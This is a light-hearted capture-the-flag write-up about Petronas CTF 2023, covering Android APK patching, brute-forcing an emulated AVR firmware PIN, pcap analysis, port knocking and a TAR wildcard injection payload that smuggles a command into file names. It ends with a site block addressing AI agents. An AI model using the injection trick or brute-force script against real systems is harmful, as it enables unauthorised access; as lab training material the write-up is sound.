# How to Win A CTF by Overcomplicating Things

## Step 1: Find very good teammates

Let them do all the work.

<figure><img src="/files/9D6sZPxbdATlOE53dLrn" alt=""><figcaption></figcaption></figure>

## Step 2: Spend the whole competition looking for unintended solution

Act busy by going the long way to solve challenges with unintended solutions.

<figure><img src="/files/6cpIJQkuhy7gxp0U6GsV" alt=""><figcaption></figcaption></figure>

## Qualifiers

### ReverseMe (Android Reversing)

In the first Android Reversing challenge, we were given the file `myapps.apk`, which can be decompiled with `apktools` or [decompiler.com](https://www.decompiler.com/).

```bash
┌──(kali💀JesusCries)-[~/Desktop/CTF/Petronas CTF 2023/Reverse]
└─$ apktool d myapps.apk            
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.7.0-dirty on myapps.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/kali/.local/share/apktool/framework/1.apk
I: Sparse type flags detected: style
I: Sparse type flags detected: string
I: Sparse type flags detected: id
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes3.dex...
I: Baksmaling classes2.dex...
I: Baksmaling classes4.dex...
I: Baksmaling classes5.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory
```

#### Intended Solution

To get the flag the easy way, perform a simple recursive grep.

```bash
┌──(kali💀JesusCries)-[~/…/CTF/Petronas CTF 2023/Reverse/myapps]
└─$ grep -rni "petgrad2023"
res/values/strings.xml:40:    <string name="flag">{PETGRAD2023}_S1mPl3Fl4g</string>
```

#### Unintended Solution

To make my life easier, I decided to install the package on a Pixel 5 emulator using Android Studio to interact with the Android application.

```sh
C:\Users\Wesley\Downloads>adb devices
* daemon not running; starting now at tcp:5037
* daemon started successfully
List of devices attached
emulator-5554   offline

C:\Users\Wesley\Downloads>adb install myapps.apk
Performing Streamed Install
Success
```

Overall, the application presents an event handler that loads the flag in the background when the button is pressed.

<figure><img src="/files/C84IGEU8v4evXHEPZ0Q4" alt=""><figcaption></figcaption></figure>

Taking a look at the source code, the flag is used in the `displayFlagStatus` method to calculate its length, but was never printed out on the application interface.

<figure><img src="/files/9JOBUW8xdzGU70uZyuF2" alt=""><figcaption></figcaption></figure>

A novel method to leak the flag is by patching the application's Dalvik bytecode. The assembly representation of `displayFlagStatus` is a relatively big chunk, but our main interest is only `.param p1`:

<img src="/files/ZPErGSk1mRP0QedPPGCh" alt="" class="gitbook-drawing">

To retrieve the flag during runtime, we'll make use of the `PrintStream` object from Java's IO class. The remaining portion of the code can then be discarded safely.

```smali
.method private final displayFlagStatus(Ljava/lang/String;)V
    .registers 2         # 2 registers: v0, v1
    sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
    .param p1, "flag"    # Ljava/lang/String;
    invoke-virtual {v0,p1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
    return-void
.end method
```

Once the changes have been made, we can recompile the application using APKLab, and re-install it on the emulator with adb.

<figure><img src="/files/UIVhTE1LMlm3mo6ueHE4" alt=""><figcaption></figcaption></figure>

Up until this point, we're still missing 1 crucial step. Think about it; we are printing the flag to the console, but there's no direct access to the terminal via the application's interface. To overcome this, we can use `adb logcat` to dump system logs, which include messages written from our application's code.

> This is actually one of the common pitfalls in mobile development dubbed "Insecure Logging", whereby sensitive information logged in a staging environment is shipped to production.

<figure><img src="/files/wiV2lfsvDIAnEJE0zm2V" alt=""><figcaption></figcaption></figure>

**Flag:** {PETGRAD2023}\_S1mPl3Fl4g

### GetMeCorrect (Android Reversing)

We have yet another Android Reversing challenge with the given file `dynamic.apk`. As usual, we'll decompile the application to look at some point of interest.

<img src="/files/BiBmrIHGT6kcxB7uXzwl" alt="" class="gitbook-drawing">

It appears that the flag is constructed part-by-part with a string builder during runtime, with part 3 derived from unknown native libraries.

```java
public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    String str = LiveLiterals$MainActivityKt.INSTANCE.m3String$valpart1$funonCreate$classMainActivity() + LiveLiterals$MainActivityKt.INSTANCE.m4String$valpart2$funonCreate$classMainActivity() + getNativeFlagPart() + LiveLiterals$MainActivityKt.INSTANCE.m5String$valpart4$funonCreate$classMainActivity();
    ((Button) findViewById(R.id.btnRevealFlag)).setOnClickListener(new MainActivity$$ExternalSyntheticLambda0(this));
}
```

#### Intended Solution

Part 1, 2, and 4 of the flag is visible directly from `LiveLiterals$MainActivityKt.java`:

<img src="/files/7W5Uan0jt81Dyfr0ZJBa" alt="" class="gitbook-drawing">

Since part 3 is derived from native libraries, a simple strings command on the decompiled library should reveal it. Putting everything together would then give us the complete flag.

```bash
┌──(kali💀JesusCries)-[~/…/Reverse/dynamic/lib/x86]
└─$ strings libdynamicflagchallenge.so 
Android
r25b
8937393
__cxa_finalize
__cxa_atexit
__register_atfork
Java_com_example_dynamicflagchallenge_MainActivity_getNativeFlagPart
_ZN7_JNIEnv12NewStringUTFEPKc
libc.so
LIBC
libandroid.so
liblog.so
libm.so
libdl.so
libdynamicflagchallenge.so
_N3xu$_    # part 3
Android (8490178, based on r450784d) clang version 14.0.6 (https://android.googlesource.com/toolchain/llvm-project 4c603efb0cca074e9238af8b4106c30add4418f6)
Linker: LLD 14.0.6
```

#### Unintended Solution

After installation, the original APK file appears to be corrupted, which results in runtime error. Not entirely sure if this is by design or accidental, but we'll try to repair the APK so that it actually runs.

<figure><img src="/files/OMC9JgOrpob0OM7foVM6" alt=""><figcaption></figcaption></figure>

After several troubleshooting attempts, the following modifications on `AndroidManifest.xml` are required:

* `android:extractNativeLibs="false"` -> `android:extractNativeLibs="true"`
* `android:theme="@style/Theme.DynamicFlagChallenge"` -> `android:theme="@style/Theme.AppCompat.Light"`

Furthermore, the application seems to be loading the native library via the wrong file name. To fix this, I simply renamed `libdynamicflagchallenge.so` to `libnativeFlagPart.so` and recompile with APKLab.

<figure><img src="/files/wfXehc9xEgZvlbFQLKcb" alt=""><figcaption></figcaption></figure>

After getting the application to run, we are greeted with a similar interface as the previous challenge.

<figure><img src="/files/U5d7FCgf1ocitFri4cOG" alt=""><figcaption></figcaption></figure>

The popup message `Nice try! But you'll have to dig deeper` is implemented through the `Toast` class whenever the button is pressed. Similar to the previous challenge, we'll tackle this challenge by patching Dalvik bytecode.

<img src="/files/HPZApLuuZVLvFayJEIRL" alt="" class="gitbook-drawing">

This time around, instead of printing the flag to a console terminal, we'll make use of the existing `Toast` class for the same purpose. The patched code is going to be slightly lengthy as we need to retrieve all 4 parts of the flags and concatenate them together to form the final flag.

```smali
.method private static final onCreate$lambda$0(Lcom/example/dynamicflagchallenge/MainActivity;Landroid/view/View;)V
    .locals 7
    .param p0, "this$0"    # Lcom/example/dynamicflagchallenge/MainActivity;
    .param p1, "it"    # Landroid/view/View;

    const-string v0, "this$0"

    invoke-static {p0, v0}, Lkotlin/jvm/internal/Intrinsics;->checkNotNullParameter(Ljava/lang/Object;Ljava/lang/String;)V

    .line 27
    move-object v0, p0

    check-cast v0, Landroid/content/Context;

    sget-object v1, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->INSTANCE:Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;

    invoke-virtual {v1}, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->String$arg-1$call-makeText$$this$call-show$fun-$anonymous$$arg-0$call-setOnClickListener$fun-onCreate$class-MainActivity()Ljava/lang/String;

    move-result-object v1

    check-cast v1, Ljava/lang/CharSequence;

    const/4 v2, 0x1

    sget-object v3, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->INSTANCE:Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;
    invoke-virtual {v3}, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->String$val-part1$fun-onCreate$class-MainActivity()Ljava/lang/String;
    move-result-object v3

    sget-object v4, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->INSTANCE:Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;
    invoke-virtual {v4}, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->String$val-part2$fun-onCreate$class-MainActivity()Ljava/lang/String;
    move-result-object v4

    invoke-virtual {p0}, Lcom/example/dynamicflagchallenge/MainActivity;->getNativeFlagPart()Ljava/lang/String;
    move-result-object v5

    sget-object v6, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->INSTANCE:Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;
    invoke-virtual {v6}, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->String$val-part4$fun-onCreate$class-MainActivity()Ljava/lang/String;
    move-result-object v6

    new-instance v7, Ljava/lang/StringBuilder;
    invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V

    invoke-virtual {v7, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v7

    invoke-virtual {v7, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v7

    invoke-virtual {v7, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v7

    invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v7

    invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    move-result-object v7

    invoke-static {v0, v7, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;

    move-result-object v0

    invoke-virtual {v0}, Landroid/widget/Toast;->show()V

    .line 28
    return-void
.end method
```

Recompile the application and press the button to get the final flag!

<figure><img src="/files/zrgdDGUmnNmDGXQyzFNH" alt=""><figcaption></figcaption></figure>

**Flag:** petgrad2023{Qu\@ntum\_N3xu$\_C0d3br3\@k3r}

## Finals

### We’re Running Out of Time! (Firmware Reversing) <a href="#challenge-4-were-running-out-of-time" id="challenge-4-were-running-out-of-time"></a>

For this challenge, we were given an Atmel AVR firmware `runningoutoftime2.hex` in the Intel Hex format.

<figure><img src="/files/R1Uknf0tnNgdeMyKvZxp" alt=""><figcaption></figcaption></figure>

The aim is to derive the 5-digit PIN by any means and unlock the physical safe located in the middle of the room.

<figure><img src="/files/70ulSLqCia9q7pKhYmBC" alt=""><figcaption></figcaption></figure>

#### Unintended Solution

To emulate the firmware logic, I opted to use the following [simavr](https://github.com/buserror/simavr) components:

* **simduino** to boot start the Arduino emulator.
* **picocom** for serial input.
* **avr-gdb** for debugging.

<img src="/files/Vzf7D5NNpPldaKXqPrVw" alt="" class="gitbook-drawing">

The physical safe itself has a lockout policy to prevent brute forcing during the CTF. However, the firmware binary does not contain this constraint when emulated with simavr. As shown above, simduino exposes `/dev/pts/3` for serial input and `/dev/pts/4` for serial output. This presents a perfect opportunity for us to brute force the PIN as there are only 99999 combinations to try.

<img src="/files/IkXjdfyHIefPme03jysJ" alt="" class="gitbook-drawing">

We can automate this whole process using input & output redirection magic in bash.

{% code title="brute.sh" overflow="wrap" lineNumbers="true" %}

```bash
#!/bin/bash

_STDIN="/dev/pts/3"
_STDOUT="/dev/pts/4"
_LOG="/tmp/runningoutoftime.log"
current_guess=0

if [ -f "$_LOG" ];
then 
    rm "$_LOG"
fi 

# /dev/pts/4 is a continous data stream, we have to background this with &
cat "$_STDOUT" >> "$_LOG" &

while [ $current_guess -le 99999 ]; do
  # Format the current guess as a 5-digit PIN with leading zeros
  current_guess_formatted=$(printf "%05d" $current_guess)

  # Send the current guess to the serial input
  echo "Currently guessing: $current_guess_formatted"
  echo "$current_guess_formatted" > "$_STDIN"

  # Wait for the specified delay
  usleep 300000

  # Monitor the response from the serial output
  response=$(tail -n 3 "$_LOG")

  if [[ "$response" != *"Incorrect"* ]]; then
      echo "Correct PIN found: $current_guess_formatted"
      break
  fi

  # Increment the current guess
  current_guess=$((current_guess + 1))

  # Wait for the specified delay
  usleep 300000
done
```

{% endcode %}

#### Intended Solution

The AVR firmware provided initially did not contain any symbols, which makes debugging a little difficult. Near the end of the CTF, the author released the original ELF file that contains all the debugging symbols.

```bash
┌──(kali💀JesusCries)-[~/Desktop]
└─$ file runningoutoftime     
runningoutoftime: ELF 32-bit LSB executable, Atmel AVR 8-bit, version 1 (SYSV), statically linked, with debug_info, not stripped
```

<figure><img src="/files/aF2yJgpJnK8Zblzp0obJ" alt=""><figcaption></figcaption></figure>

Disassembling `dbg.main` under Radare2 reveals an interesting loop of comparison statements where our input PIN is checked. Since the correct PIN is loaded into a couple of registers, a simple registers dump should give us the answer.

> Enable OPCODE description with `e asm.describe = true` in Radare2.

<figure><img src="/files/4cGypZWash2R5a5WBrvL" alt=""><figcaption></figcaption></figure>

Using GDB, place a breakpoint on the first `brne` instruction and dump all registers value with `info registers`. In this case, the correct PIN for each position is stored on the lower byte region; whereas our input is stored on the higher byte region.

<table><thead><tr><th width="256.3333333333333">Position</th><th>Input</th><th>Correct PIN</th></tr></thead><tbody><tr><td>Pos 1 (r18-r19)</td><td>5</td><td>8</td></tr><tr><td>Pos 2 (r20-r21)</td><td>4</td><td>9</td></tr><tr><td>Pos 3 (r22-r23)</td><td>3</td><td>0</td></tr><tr><td>Pos 4 (r30-r31)</td><td>2</td><td>7</td></tr><tr><td>Pos 5 (r26-r27)</td><td>1</td><td>6</td></tr></tbody></table>

<img src="/files/KkZh1pm7qDNRvaxXW8aX" alt="" class="gitbook-drawing">

**PIN:** 89076

### Intruding the Ominous Black Cube (Network) <a href="#challenge-1-intruding-the-ominous-black-cube" id="challenge-1-intruding-the-ominous-black-cube"></a>

This challenge is worth 700 points, making it the highest-score challenge (but not necessarily the hardest) throughout the entire CTF. To start off, we were given a relatively small packet capture file `blackcube.pcap`, containing only 295 packets to analyze.

<figure><img src="/files/6rrIZmPWAntOdUIS7HRh" alt=""><figcaption></figcaption></figure>

Initial analysis reveals several endpoints `/admin`, `/menu`, `/dashboard` made to the web server on port 5000, but nothing too interesting, except for packet 205, which reveals a suspicious base64 encoded string.&#x20;

<figure><img src="/files/kne0x7UcxlV4dlOK3Q8M" alt=""><figcaption></figcaption></figure>

Decoding the string gives us `petronasgradctf:Whoistheg0dofCtf` that looks like a set of credentials we could use somewhere else.

```bash
┌──(kali💀JesusCries)-[~]
└─$ echo "cGV0cm9uYXNncmFkY3RmOldob2lzdGhlZzBkb2ZDdGY=" | base64 -d
petronasgradctf:Whoistheg0dofCtf
```

Looking at the list of network access points, we were able to authenticate to a hidden network using the credentials above.

<figure><img src="/files/5LBBQeqBpK1i3pE46MXF" alt=""><figcaption></figcaption></figure>

Later on, I was stuck at this challenge until a dead giveaway hint was released afterward.

<figure><img src="/files/GW84TlpIIoHHMjujKQ0c" alt=""><figcaption></figcaption></figure>

The hint combined with a bunch of TCP retransmission confirmed that there's something to do with **Port Knocking**. Coincidentally, a topic that I've shared previously for a [sharing session](https://github.com/WesleyWong420/FSEC-SS-Sharing-Session).

<figure><img src="/files/O0RVCl81E0wKW97BTO27" alt=""><figcaption></figcaption></figure>

Now we'll have to find out the knock sequence by figuring out the timeline where the web server responded to our request on port 5000 after the TCP retransmission stream ends.

<figure><img src="/files/tLQr5WkBUJi02u2Hk4qp" alt=""><figcaption></figcaption></figure>

Sending the knock sequence is pretty straightforward. The flag `-d 500` is used here to introduce delay between knocks, just in case the server receives them in the wrong order.

```bash
┌──(kali💀JesusCries)-[~]
└─$ knock -v 192.168.0.107 17613:tcp 22791:tcp 20882:tcp 51313:tcp -d 500
hitting tcp 192.168.0.107:17613
hitting tcp 192.168.0.107:22791
hitting tcp 192.168.0.107:20882
hitting tcp 192.168.0.107:51313
```

Navigating to port 5000, we can now access the web server which wasn't possible before.

<figure><img src="/files/H6R8M0DlyxbT5iioV6fk" alt=""><figcaption></figcaption></figure>

Recall that the endpoint `upload-page` was found during PCAP analysis, and the subtle hints of TAR file made it obvious that we needed to exploit a TAR Wildcard Injection vulnerability. (From OSCP lol, which I took just a week before the CTF)

<figure><img src="/files/TjEtW8ldDJPekTgnFQpQ" alt=""><figcaption></figcaption></figure>

Prepare the payload as follows:

```bash
┌──(kali💀JesusCries)-[~/Desktop/Blackcube/temp]
└─$ touch -- --checkpoint=1

┌──(kali💀JesusCries)-[~/Desktop/Blackcube/temp]
└─$ touch -- "--checkpoint-action=exec=cat flag.txt"

┌──(kali💀JesusCries)-[~/Desktop/Blackcube/temp]
└─$ cd ..

┌──(kali💀JesusCries)-[~/Desktop/Blackcube]
└─$ tree                
.
└── temp
    ├── --checkpoint=1
    └── --checkpoint-action=exec=cat flag.txt
2 directories, 2 files
                                                                                                                                                                                                                                                            
┌──(kali💀JesusCries)-[~/Desktop/Blackcube]
└─$ tar -cf update.tar *
```

Finally, upload the tar file to receive the flag.

<figure><img src="/files/Oo1UKbe11h03YeHchjhI" alt=""><figcaption></figcaption></figure>

**Flag:** petgrad2023{7h3\_B1\@ck\_cu83}

## Step 3: Free-load the trophy

<figure><img src="/files/RhffME1tIifNoGtJY90N" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jesuscries.gitbook.io/home/clown-chronicles/blogs/how-to-win-a-ctf-by-overcomplicating-things.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
